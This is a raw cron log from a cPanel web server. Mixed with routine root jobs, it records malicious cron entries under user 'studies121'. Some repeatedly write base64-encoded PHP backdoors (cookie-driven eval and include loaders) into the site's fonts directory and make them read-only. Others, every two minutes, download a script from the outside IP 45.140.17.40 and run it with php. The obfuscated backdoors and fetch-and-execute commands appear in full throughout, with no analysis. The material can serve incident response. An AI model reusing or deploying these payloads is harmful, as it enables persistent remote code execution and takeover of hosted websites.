Sep 22 21:10:01 ip-184-168-122-23 CROND[25272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:10:01 ip-184-168-122-23 CROND[25270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:10:01 ip-184-168-122-23 CROND[25271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:11:01 ip-184-168-122-23 CROND[25470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:11:01 ip-184-168-122-23 CROND[25471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:11:01 ip-184-168-122-23 CROND[25472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:11:01 ip-184-168-122-23 CROND[25475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:12:01 ip-184-168-122-23 CROND[25640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:12:01 ip-184-168-122-23 CROND[25642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:12:01 ip-184-168-122-23 CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:12:01 ip-184-168-122-23 CROND[25645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:12:01 ip-184-168-122-23 CROND[25643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:13:01 ip-184-168-122-23 CROND[25865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:13:01 ip-184-168-122-23 CROND[25864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:13:01 ip-184-168-122-23 CROND[25867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:13:01 ip-184-168-122-23 CROND[25866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:14:01 ip-184-168-122-23 CROND[26113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:14:01 ip-184-168-122-23 CROND[26114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:14:01 ip-184-168-122-23 CROND[26115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:14:01 ip-184-168-122-23 CROND[26117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:14:01 ip-184-168-122-23 CROND[26118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:15:02 ip-184-168-122-23 CROND[26257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:15:02 ip-184-168-122-23 CROND[26259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:15:02 ip-184-168-122-23 CROND[26261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:15:02 ip-184-168-122-23 CROND[26263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:15:02 ip-184-168-122-23 CROND[26264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:15:02 ip-184-168-122-23 CROND[26265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:16:01 ip-184-168-122-23 CROND[26398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:16:01 ip-184-168-122-23 CROND[26400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 21:16:01 ip-184-168-122-23 CROND[26401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:16:01 ip-184-168-122-23 CROND[26402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:16:01 ip-184-168-122-23 CROND[26403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:16:01 ip-184-168-122-23 CROND[26404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:17:01 ip-184-168-122-23 CROND[26532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:17:01 ip-184-168-122-23 CROND[26535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:17:01 ip-184-168-122-23 CROND[26536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:17:01 ip-184-168-122-23 CROND[26534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:18:01 ip-184-168-122-23 CROND[26666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:18:01 ip-184-168-122-23 CROND[26670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:18:01 ip-184-168-122-23 CROND[26669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:18:01 ip-184-168-122-23 CROND[26668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:18:01 ip-184-168-122-23 CROND[26671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:19:01 ip-184-168-122-23 CROND[26869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:19:01 ip-184-168-122-23 CROND[26872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:19:01 ip-184-168-122-23 CROND[26871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:19:01 ip-184-168-122-23 CROND[26870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27009]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:20:01 ip-184-168-122-23 CROND[27012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:20:01 ip-184-168-122-23 CROND[27019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:21:01 ip-184-168-122-23 CROND[27152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:21:01 ip-184-168-122-23 CROND[27153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:21:01 ip-184-168-122-23 CROND[27155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:21:01 ip-184-168-122-23 CROND[27157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:22:01 ip-184-168-122-23 CROND[27268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:22:01 ip-184-168-122-23 CROND[27272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:22:01 ip-184-168-122-23 CROND[27270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
